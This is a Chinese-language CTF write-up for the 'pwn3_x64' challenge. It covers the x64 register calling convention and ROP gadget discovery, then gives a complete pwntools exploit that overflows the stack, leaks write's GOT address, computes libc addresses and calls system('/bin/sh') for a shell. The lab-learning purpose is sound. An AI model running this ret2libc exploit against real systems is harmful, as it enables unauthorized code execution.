pwn3_x64

pwn3_x64

1.程序分析

file一下，发现是64位程序：

checksec一下，发现pie没开：

ldd一下，找到需要的动态链接库：

ida分析：

思路和上一题32位的一样，没啥好分析的

64位与32的不同在于传参：当参数少于7个时， 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

因此需要ROP链找到rdi, rsi, rdx。

用ROPgadget查看下：

发现有现成的pop rdi; ret。

但是没有现成的pop rdx，只有pop rsi。

但是我们只需要write输出的长度大于等于8即可，如果寄存器rdx原来的值就已经大于等于8，我们其实不需要赋值了，到时候recv()时，只接收8字节即可。

gdb调试一下，看调用read()函数时的rdx值：

发现是0x200，那就不需要去pop_ret了。

2.栈帧设计

3.exp编写

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

io = process("/mnt/d/study/ctf/pwn/pwn3_x64/level3_x64")
elf = ELF("/mnt/d/study/ctf/pwn/pwn3_x64/level3_x64")
libc =ELF("/lib/x86_64-linux-gnu/libc.so.6")

write_plt = elf.plt["write"]
write_got = elf.got["write"]
vulnerable_function = elf.symbols["vulnerable_function"]
pop_rdi_ret = 0x00000000004006b3
pop_rsi_r15_ret = 0x00000000004006b1

# rdi, rsi, rdx,
io.recv()
payload = cyclic(0x80 + 8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(vulnerable_function)
io.sendline(payload)
write_real = u64(io.recv(8))

system_real = write_real - libc.symbols["write"] + libc.symbols["system"]
bin_sh_real = write_real - libc.symbols["write"] + next(libc.search(b"/bin/sh"))

payload2 = cyclic(0x80 + 8) + p64(pop_rdi_ret)  + p64(bin_sh_real) + p64(system_real)
io.recv()
io.sendline(payload2)
io.interactive()